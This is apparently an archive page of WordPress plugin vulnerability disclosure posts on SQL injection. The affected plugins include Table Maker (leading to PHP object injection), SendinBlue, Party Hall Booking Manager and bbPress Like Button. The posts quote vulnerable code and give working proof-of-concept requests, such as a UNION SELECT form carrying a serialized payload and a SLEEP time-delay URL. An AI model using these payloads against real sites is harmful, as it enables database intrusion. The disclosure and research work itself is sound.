20 Dec

PHP Objection Injection Through a SQL Injection Vulnerability in a WordPress Plugin

Recently there have been claims that hackers have been causing PHP object injection through SQL injection vulnerabilities in WordPress plugins. The details needed to allow others to confirm whether or not that is true had not been provided (which didn’t stop journalist from repeating the claims) and in our testing we were not able to figure out a way to get that to work with the plugins that it has been claimed it had occurred with. It is possible that we have missed something or it is possible that there was a belief that it could occur leading to hackers attempting it, but it really wasn’t possible in those plugins.

One route we looked to recreate the claim was using UNION SELECT as part of the SQL injection to cause a value needed for the PHP object injection to be returned from the SQL statement susceptible to SQL injection. What we have run into in trying that is that we couldn’t get an appropriate value needed for PHP object injection through that, due to the escaping WordPress does of quote marks.

Recently, while looking into a plugin that hackers might be targeting, where we thought that type of issue might be occurring, we had a different issue. We found a possible SQL injection vulnerability in a SQL query whose result is then passed through unserialize() in the plugin Table Maker, but we didn’t see how the SQL injection vulnerability could be exploited. One of our customers, J.D. Grimes, left a comment on the post where we discussed that plugin, with an explanation of how that could be accomplished. With that we were then able to cause the PHP object injection to occur through SQL injection in the plugin. That doesn’t do anything to explain what happened in the other instances, since in this case, quote escaping didn’t come into play.

The good news is that even before we had figured out how the SQL injection could be exploited we had notified the developer of the issue and a fix was released on Monday.

For those interested in how you would have gotten from SQL injection to PHP object injection is this plugin and how a hacker may have already been, let’s go through it.

As of version 1.6, the function xml_download() ran once WordPress had loaded activated plugins, which occurs when visiting frontend and backed pages of WordPress:

30
add_action('plugins_loaded', array($this, 'xml_download'));

That function then allowed anyone to pass the value of the GET input “table” to the get() function:

395
396
397
function xml_download() {
	if(isset($_POST['wpsm-export-table'])) {
		$result = $this->db->get( $_GET['table'] );

As of version 1.6, the function get() in /inc/class-wpsm-db-table.php improperly handled the security of a SQL statement that had its result unserialized:

94
95
96
97
98
99
100
101
102
103
public function get($id){
	if( is_array($id) ){
		$id = sprintf('(%s)', implode(',', $id));
	}
	else {
		$id = sprintf('(%d)', $id);
	}
	$row = $this->db->get_row("SELECT * FROM $this->table_name WHERE id IN $id", ARRAY_A);
	if($row){
		$row['tvalues'] = $this->unserialize($row['tvalues']);

The value of the GET input “id” becomes the variable $id in that. If the variable $id is anything other than an array the value is limited to an integer, which couldn’t be used for SQL injection. What we had not figured out as of yesterday was how to get that variable to be an array in that, which would allow SQL injection to occur. That is where J.D. comes in, as he commented:

Making $_GET['table'] an array should be possible using a query string like table[]=payload, I think.

Once we had that we could get cause the SQL injection to occur. We then used UNION SELECT to cause the value being returned from the SQL statement to come from what was in the GET input. The value to unserialized is $row[‘tvalues’], which comes from “tvalues” column of the table wpsm_tables and that column is the eighth out of eight column in the table, so the UNION SELECT would look something like this:

UNION SELECT 1,2,3,4,5,6,7,[PHP object injection here]

The unserialize() function being used in the above code is not PHP’s, but this:

123
124
125
private function unserialize($item){
	return unserialize(base64_decode($item));
}

So the PHP object injection value needs to be base64 encoded.

You can see that all in action with the proof of concept below.

Proof of Concept

With our plugin for testing for PHP object injection installed and activated, the following proof of concept will cause the message “PHP object injection has occurred.” be shown.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/?table[]=1) UNION SELECT 1,2,3,4,5,6,7,('TzoyMDoicGhwX29iamVjdF9pbmplY3Rpb24iOjA6e30='" method="POST">
<input type="hidden" name="wpsm-export-table" />
<input type="submit" value="Submit" />
</form>
</body>
15 Dec

Is This SQL Injection Vulnerability Why a Hacker Would Be Interested in the SendinBlue Subscribe Form And WP SMTP Plugin?

Several days ago we had a request at this website for a file that would be located at /wp-content/plugins/table-maker/readme.txt. Subsequent to that, while reviewing the log files of another website for some work we were doing over at our main business we saw the same file requested. The requested file would be part of the plugin SendinBlue Subscribe Form And WP SMTP. On both websites the IP address also requested a readme.txt for another plugin, which we will be discussing at a later time. Those requests would be seem to be from someone probing for usage of those plugins. A likely reason for that would be a hacker probing for usage of the plugins.

In looking over the plugins we have yet to find some obvious security vulnerability that would be something that would be targeted by a hacker, but we did find that both had poor security leading to security vulnerabilities. Another thing we found with both is that they were using unserialization on data coming from a request from the database. Recently there have been claims that a SQL injection vulnerabilities was somehow being exploited and that lead to PHP object injection when the result from the SQL query susceptible to SQL injection was passed through the unserialize() function. No evidence was presented that was the case though. It is possible that the claim is true. It also possible that there is belief there is an issue that doesn’t really exist (we have seen plenty of instances hackers trying to exploit vulnerabilities that don’t exist and we have security companies failing to understand that). Whatever the case, we did find this plugin has a couple of SQL injection vulnerabilities for which the results is then unserialized.

If someone is aware how the SQL injection issues here could lead to PHP object injection we would love to hear about it, as it would likely help to identify future issues.

Also, if someone sees another issue that might what hackers might be targeting, we would love to hear about that as well.

SQL Injection

The more serious SQL injection issue, since it obvious how it could be exploited, starts with the function sib_parse_request() being set to run during parse_request:

151
add_action( 'parse_request', array( &$this, 'sib_parse_request' ) );

That will cause that function, which is located in ted file /sendinblue.php, to run when visiting the frontend or backend of the website.

If the GET input “sib_form” exists that function will cause the file /inc/sib-form-preview.php to be loaded:

962
963
964
function sib_parse_request(&$wp ) {
	if ( array_key_exists( 'sib_form', $wp->query_vars ) ) {
		include 'inc/sib-form-preview.php';

That will in turn cause the value of GET input “sib_form” to be passed to the function getForm() if the GET input “action” is not set:

6
7
$sib_form_id = isset($_GET['sib_form']) ? $_GET['sib_form'] : '';
$sib_preview = isset($_GET['action']) ? $_GET['action'] : '';
16
17
if($sib_preview == '') {
	$formData = SIB_Forms::getForm($sib_form_id);

That function, which is located in the file /model/model-forms.php, then uses the passed value in a SQL statement, which permits SQL injection, and the result of that is passed through unserialize():

93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
public static function getForm( $frmID = 'new' ) {
	global $wpdb;
	if ( 'new' == $frmID ) {
		// default form.
		$formData = self::getDefaultForm();
		$list = maybe_serialize( array( SIB_API_Manager::get_default_list_id() ) );
		$results = array(
			'title' => '',
			'html' => $formData['html'],
			'css' => $formData['css'],
			'listID' => $list,
			'dependTheme' => '1',
			'templateID' => '-1',
			'isOpt' => '0',
			'isDopt' => '0',
			'redirectInEmail' => '',
			'redirectInForm' => '',
			'date' => date( 'Y-m-d' ),
			'successMsg' => $formData['successMsg'],
			'errorMsg' => $formData['errorMsg'],
			'existMsg' => $formData['existMsg'],
			'invalidMsg' => $formData['invalidMsg'],
			'attributes' => 'email,NAME',
		);
	} else {
		$query = 'select * from ' . $wpdb->prefix . self::TABLE_NAME . ' where id=' . $frmID . ';';
		$results = $wpdb->get_row( $query, ARRAY_A ); // db call ok; no-cache ok.
	}
 
	if ( is_array( $results ) && count( $results ) > 0 ) {
		$listIDs = maybe_unserialize( $results['listID'] );

The second instance, with possible SQL injection, starts with init() function, which runs during init:

168
add_action( 'init', array( &$this, 'init' ) );

That will cause that function to run when visiting the frontend or backend of the website.

In that function, which is located in the file /sendinblue.php, if the GET input “sib_action” is set to “subscribe” then the subscribe() function will run:

274
275
276
277
278
279
280
281
function init() {
	// Sign up process.
	if ( isset( $_POST['sib_form_action'] ) && ( 'subscribe_form_submit' == $_POST['sib_form_action'] ) ) {
		$this->signup_process();
	}
	// Subscribe.
	if ( isset( $_GET['sib_action'] ) && ( 'subscribe' == $_GET['sib_action'] ) ) {
		SIB_API_Manager::subscribe();

The beginning of that function, which is located in the file /inc/sib-api-manager.php, looks as follows:

644
645
646
647
648
649
650
651
652
public static function subscribe() {
	$code = isset( $_GET['code'] ) ? esc_attr( sanitize_text_field( $_GET['code'] ) ) : '';
 
	$contact_info = SIB_Model_Users::get_data_by_code( $code );
 
	if ( false != $contact_info ) {
		$email = $contact_info['email'];
		$info = maybe_unserialize( $contact_info['info'] );
		$list_id = maybe_unserialize( $contact_info['listIDs'] );

That code passes the value of the GET input “code” through sanitize_text_field() and esc_attr() functions, which are not designed to protect against SQL injection, and then sets it to the variable $code. It passes that variable to the function get_data_by_code(),  then passes the result of that to the variable $contact_info, and finally uses that with the function maybe_serialize().

The function get_data_by_code(), which is located in the file /model/model-users.php, uses the value of the $code variable in SQL statement, which permits SQL injection:

80
81
82
83
84
85
86
87
88
89
90
public static function get_data_by_code( $code ) {
	global $wpdb;
	$query = 'select * from ' . $wpdb->prefix . self::TABLE_NAME . ' where code like "' . $code . '";';
	$results = $wpdb->get_row( $query,ARRAY_A ); // db call ok; no-cache ok.
 
	if ( is_array( $results ) && count( $results ) > 0 ) {
		return $results;
	} else {
		return false;
	}
}

The limitation is the use of double quotes around the variable. If you place another double quote in the input being passed there it will be escaped due to WordPress adding magic quotes, so to exploit this you would need to evade that somehow.

There is another get_data_by_code() function in another file that has the same issue, but that function doesn’t look to be used anywhere in the plugin.

We notified the developer of these issues and that it looked like a hacker may be targeting the plugin on Tuesday. We indicated that due to it looking the plugin being targeted by a hacker we would need to disclose things shortly, but we could hold back a bit if we knew that there was a timetable for them being promptly fixed. We got a reply later that day that it was being looked into. Since then we have not heard anything more and the issue has yet to be resolved. By comparison with the other plugin, even though it has nearly two years since it has been previously updated, the developer sent us an updated version to review today (which still needed some improvement).

If you are using our service and would like to continue using the plugin please get in touch with us and we will help apply a temporary fix for this.

Wider Warning

Due to the fact that this issue might be being targeted by hackers we are adding it to the free data that comes with our service’s companion plugin, so that even those not using our service yet can be warned about the issue.

Our plugin is often the only free source of vulnerability information that warns about exploited vulnerabilities, despite it being possible for others to look at the data included in that and the information on our website. One recent example of that involves an arbitrary file upload vulnerability in the most recent version of the plugin PHP Event Calendar, which we disclosed and added to the plugin’s data on November 27. More than two weeks later none of the free sources we are aware, which are the WPScan Vulnerability Database, ThreatPress Vulnerability Database, the plugin CWIS Antivirus Scanner, or the post of the website WPCampus, have included it.

Getting a Fuller Security Review

As the issues shown above the plugin isn’t exactly in great shape when it comes to security and a fuller review would identify more improvements, so if you use the plugin and are concerned with security, it might be a good idea to get a security review done.

From us, you can either order a security review of a plugin or if you use our service you can suggest/vote for plugins to get a review as part of that service.

Proof of Concept

With the following proof of concept it will take vary amounts of time for the page to load depending on how long you specify MySQL sleep function to run.

Make sure to replace “[path to WordPress]” with the location of WordPress, “[form id]” with the ID of one of the plugin’s forms, and “[sleep time]” with how many seconds you want sleep to occur for.

http://[path to WordPress]/?sib_form=[form id] AND SLEEP([sleep time])

Timeline

  • December 12, 2017 – Developer notified.
  • December 12, 2017 – Developer responds.
27 Oct

Vulnerability Details: SQL Injection Vulnerability in Ultimate Form Builder Lite

From time to time a vulnerability is fixed in a plugin without the discoverer putting out a report on the vulnerability and we will put out a post detailing the vulnerability so that we can provide our customers with more complete information on the vulnerability.

Recently Wordfence made an under-sourced claim that there was a zero-day vulnerability in the plugin Ultimate Form Builder Lite. ...


To read the rest of this post you need to have an active account with our service.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, when you sign up now you can try the service for half off (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a WordPress plugin security researcher please contact us to get free access to all of our Vulnerability Details posts.

07 Jul

Wordfence’s Lack of Understanding of SQL Injection Vulnerabilities Leads to False Claim About WP Statistics Vulnerability

Yesterday we touched on how the web security company Sucuri and others in the security community were overstating the threat of a vulnerability recently discovered by Sucuri in the plugin WP Statistics. While looking over something else related to that vulnerability we came across the web security company Wordfence using that vulnerability basically as an ad for their products and services, while reminding people that are actually knowledgeable  about web security that Wordfence really don’t have a good grasp of it.

Their post starts out:

It’s been a tough week for the WP Statistics plugin. Last Friday, Sucuri (now owned by GoDaddy) discovered a SQL injection vulnerability in the WP Statistics plugin version 12.0.7 and older. To exploit the vulnerability, an attacker needs to register an account (or use a compromised account) with subscriber-level access. They can then exploit a weakness in a WP Statistics shortcode to launch a SQL injection attack. This allows them to, for example, create an admin-level user and sign in to your website as an admin.

The vulnerability doesn’t allow someone to create an admin-level user, which is something that Wordfence should know considering shortly after that in the post they tout their plugin will protect against SQL injection vulnerabilities. If you don’t understand the basics of them, then you are not likely to be good at protecting against them.

They certainly shouldn’t be out there making claims that are false like this, but considering this company even goes to the level of claiming they care more about security than WordPress while making up a threat, it really isn’t surprising.

This isn’t all that complicated, here are the vulnerable lines of code in the plugin (as identified by Sucuri):

737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
switch ( $time ) {
case 'today':
	$result = $wpdb->query( "SELECT * FROM `{$tablename}` WHERE `last_counter` = '{$WP_Statistics->Current_Date( 'Y-m-d' )}' AND {$search_query}" );
	break;
 
case 'yesterday':
	$result = $wpdb->query( "SELECT * FROM `{$tablename}` WHERE `last_counter` = '{$WP_Statistics->Current_Date( 'Y-m-d', -1 )}' AND {$search_query}" );
 
	break;
 
case 'week':
	$result = $wpdb->query( "SELECT * FROM `{$tablename}` WHERE `last_counter` = '{$WP_Statistics->Current_Date( 'Y-m-d', -7 )}' AND {$search_query}" );
 
	break;
 
case 'month':
	$result = $wpdb->query( "SELECT * FROM `{$tablename}` WHERE `last_counter` = '{$WP_Statistics->Current_Date( 'Y-m-d', -30 )}' AND {$search_query}" );
 
	break;
 
case 'year':
	$result = $wpdb->query( "SELECT * FROM `{$tablename}` WHERE `last_counter` = '{$WP_Statistics->Current_Date( 'Y-m-d', -365 )}' AND {$search_query}" );
 
	break;
 
case 'total':
	$result = $wpdb->query( "SELECT * FROM `{$tablename}` WHERE {$search_query}" );
 
	break;
 
default:
	$result = $wpdb->query( "SELECT * FROM `{$tablename}` WHERE `last_counter` = '{$WP_Statistics->Current_Date( 'Y-m-d', $time)}' AND {$search_query}" );
 
	break;

In that code the value of the variable $search_query, which contains user input, is used in used in multiple SQL statements without being sanitized. The important part here is that the SQL statements are SELECT statements which allow reading data from a database, they don’t allow insert anything, so you can’t add admin user or anything else (the INSERT statement would be used to insert data). What you could do is slowly read out the contents of the database, which isn’t something that we see any evidence of hackers doing against the average website (it could be used in a targeted attack).

Wordfence Fails To Mention Many Plugin Vulnerabilities

While Wordfence’s post titled a “Vulnerability Roundup” they only mentioned vulnerabilities disclosed recently in two other plugins, both of which were already fixed, while not mentioning any of the  numerous vulnerabilities in plugins that were recently disclosed that haven’t been fixed. Telling someone to update a plugin that already has been fixed is really not all that helpful, since what you really should be telling people is to keep all of their plugins up to date at all times. When vulnerabilities haven’t been fixed that is when it would be useful to make people aware of the issue. As example of Wordfence of not warning about those unfixed vulnerabilities, here are just the vulnerabilities that we disclosed last week that haven’t been fixed:

If you used our service you would know about those vulnerabilities and many others that remain unfixed, including many that are likely to be exploited.

08 Jun

Vulnerability Details: SQL Injection Vulnerability in Save Contact Form 7

From time to time vulnerabilities are fixed in plugin without someone putting out a report on the vulnerability and we will put out a post detailing the vulnerability. While putting out the details of the vulnerability increases the chances of it being exploited, it also can help to identify vulnerabilities that haven’t been fully fixed (in some cases not fixed at all) and help to ...


To read the rest of this post you need to have an active account with our service.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, when you sign up now you can try the service for half off (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a WordPress plugin security researcher please contact us to get free access to all of our Vulnerability Details posts.

24 May

False Vulnerability Report: SQL Injection Vulnerability in Featured Image Resize

As part of our cataloging the vulnerabilities in WordPress plugins for our service we come across false reports of vulnerabilities from time to time. So that others don’t spend their time looking over these as well, we post our findings on them. The data on these false reports is also included in our service’s data.

Earlier today a thread was started on the WordPress Support Forum claiming that plugin Featured Image Resize contained a SQL injection vulnerability. Between us being notified of the thread and when went to check over things, half the message was removed. It isn’t clear if was removed by the poster or silently removed by a forum moderator (they do some strange stuff along those lines), whichever it was it causes a problem, as what was removed makes it easy to see that the vulnerability doesn’t exist.

Currently the message just states:

This plugin appears to be vulnerable to SQL injection. Recommend it is not used until fixed.

Previously right after that it included this:

$thumbnail_id = $_REQUEST[‘thumbnail_id’];
$wpdb->get_row(“SELECT * FROM $wpdb->posts WHERE id = ‘” . $thumbnail_id . “‘”, ‘ARRAY_A’);

Just seeing those two lines makes it look like there is a SQL injection vulnerability, but looking at the lines in context in the file /featured-image-resize.php shows that there isn’t. That is due to the fact that right after setting the value of the GET or POST input “thumbnail_id” to $thumbnail_id, there is check to make sure it is numeric:

13
14
$thumbnail_id = $_REQUEST['thumbnail_id'];
if( !is_numeric($thumbnail_id) ) return false;

If you were try to do a SQL injection using that input then the code should exit at this point, so the value never gets used in SQL statement and therefore there isn’t a SQL injection vulnerability.

The code could be improved by using a prepared statement to better insure that SQL injection couldn’t occur.

03 Oct

SQL Injection Vulnerability in Party Hall Booking Manager

One of the things we do to make sure we are providing our customers with the best data on the vulnerabilities that exist and are being exploited in WordPress plugins is to monitor our websites for hacking attempts. Through that we have found a quite a few vulnerabilities that exist in the current versions of plugins that it looks like hackers have already started exploiting. In the most recent case though we are still not quite sure what the hacker was targeting. Recently we found a hacker probing for usage of the plugin Party Hall Booking Manager, along with five other plugins at the same time. As we started looking over the plugins, one connection we found was that they all contained code that looked susceptible to SQL injections. That type of vulnerability is not one we often see target by hackers, so it is possible there is an additional issue with the plugin.

In a number of places in the code, user input is included in SQL queries without sanitization being done or a parametrized query being used. Below in one of those that we confirmed is exploitable.

In the file /scbooking.php the function ccb_get_roomprice_by_custompost() is made accessible to those not logged in through WordPress’ AJAX functionality:

220
add_action( 'wp_ajax_nopriv_ccb_get_roomprice_by_custompost','ccb_get_roomprice_by_custompost' );

That function takes the GET or POST input “post_id” and inserts into a SQL query:

209
210
211
212
213
214
215
216
217
218
219
function ccb_get_roomprice_by_custompost(){
  if($_REQUEST){
    global $table_prefix,$wpdb;
    $post_id = $_REQUEST['post_id'];
 
    $sql_room_price = "select * from ".$table_prefix."postmeta where meta_key='_room_price' and post_id=".$post_id;
    $result = $wpdb->get_results($sql_room_price);
    echo json_encode($result);
  }
  exit;
}

Proof of Concept

You can see that SQL injection is occurring by comparing the time it take for the following requests, with one that adds a ten second delay to the the SQL query, with to be completed.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[post id]” with the ID of a room. That ID can be found by going to /custom_bookings/, going to a page of a room and the getting the ID from the source code. The ID is usually listed at the end of link for the “shortlink” in the head section.

No delay:

http://[path to WordPress]/wp-admin/admin-ajax.php?action=ccb_get_roomprice_by_custompost&post_id=[post id]

10 second delay:

http://[path to WordPress]/wp-admin/admin-ajax.php?action=ccb_get_roomprice_by_custompost&post_id=[post id]

Timeline

  • 10/3/2016 – WordPress.org Plugin Directory notified.
03 Oct

SQL Injection Vulnerability in bbPress Like Button

One of the things we do to make sure we are providing our customers with the best data on the vulnerabilities that exist and are being exploited in WordPress plugins is to monitor our websites for hacking attempts. Through that we have found a quite a few vulnerabilities that exist in the current versions of plugins that it looks like hackers have already started exploiting. In the most recent case though we are still not quite sure what the hacker was targeting. Recently we found a hacker probing for usage of the plugin bbPress Like Button, along with five other plugins at the same time. As we started looking over the plugins, one connection we found was that they all contained code that looked susceptible to SQL injections. That type of vulnerability is not one we often see target by hackers, so it is possible there is an additional issue with the plugin.

The vulnerable code can be found the file /json_logs.php whenre the extract() function is used to set variable from POST inputs and then those are used in a SQL query without any sanitization or the query being parametrized:

5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
extract($_POST);
 
//Defaults
if(!isset($sortname) || $sortname == ''){
    $sortname = 'meta_id';
}
if(!isset($sortorder)){
    $sortorder = 'desc';
}
if(!isset($rp)){
    $rp = '1000';
}
if(!isset($page)){
    $page = 1;
}
$sortorder = strtoupper($sortorder);
$offset = ((Integer)$page - 1) * $rp;
 
//Get the data
global $wpdb;
$table_name = $wpdb->prefix.'postmeta';
 
$results = $wpdb-&gt;get_results("SELECT * FROM $table_name where meta_key = 'bbpl_like' ORDER BY $sortname $sortorder LIMIT $rp OFFSET $offset",ARRAY_A)

Proof of Concept

The following proof of concept will permit SQL injection to occur.

Make sure to replace “[path to WordPress]” with the location of WordPress and the “[SQL injection input …]” with appropriate input.

<html>
<body>
<form action="http://[path to WordPress]/wp-content/plugins/bbpress-like-button/json_logs.php" method="POST">
<input type="hidden" name="sortname" value="[SQL injection input after ORDER BY]" />
<input type="hidden" name="sortorder" value="[SQL injection input after ORDER BY]" />
<input type="hidden" name="rp" value="[SQL injection input after LIMIT]" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • 10/3/2016 – WordPress.org Plugin Directory notified.